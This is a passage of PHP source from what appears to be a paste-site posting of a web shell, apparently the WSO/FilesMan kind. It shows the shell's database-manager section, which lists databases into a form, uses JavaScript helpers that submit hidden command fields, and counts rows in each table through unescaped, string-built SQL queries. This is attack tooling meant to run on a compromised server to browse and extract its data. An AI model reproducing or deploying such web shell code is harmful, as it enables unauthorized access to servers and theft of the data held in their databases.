  1262. case "cp866": $db->setCharset('cp866'); break;
  1263. }
  1264. $db->listDbs();
  1265. echo "<select name=sql_base><option value=''></option>";
  1266. while($item = $db->fetch()) {
  1267. list($key, $value) = each($item);
  1268. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1269. }
  1270. echo '</select>';
  1271. }
  1272. else echo $tmp;
  1273. }else
  1274. echo $tmp;
  1275. echo "</td>
  1276. <td><input type=submit value='>>'></td>
  1277. </tr>
  1278. </table>
  1279. <script>
  1280. function st(t,l) {
  1281. document.sf.p1.value = 'select';
  1282. document.sf.p2.value = t;
  1283. if(l!=null)document.sf.p3.value = l;
  1284. document.sf.submit();
  1285. }
  1286. function is() {
  1287. for(i=0;i<document.sf.elements['tbl[]'].length;++i)
  1288. document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
  1289. }
  1290. </script>";
  1291. if(isset($db) && $db->link){
  1292. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1293. if(!empty($_POST['sql_base'])){
  1294. $db->selectdb($_POST['sql_base']);
  1295. echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  1296. $tbls_res = $db->listTables();
  1297. while($item = $db->fetch($tbls_res)) {
  1298. list($key, $value) = each($item);
  1299. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1300. $value = htmlspecialchars($value);
Add Comment
Please, Sign In to add comment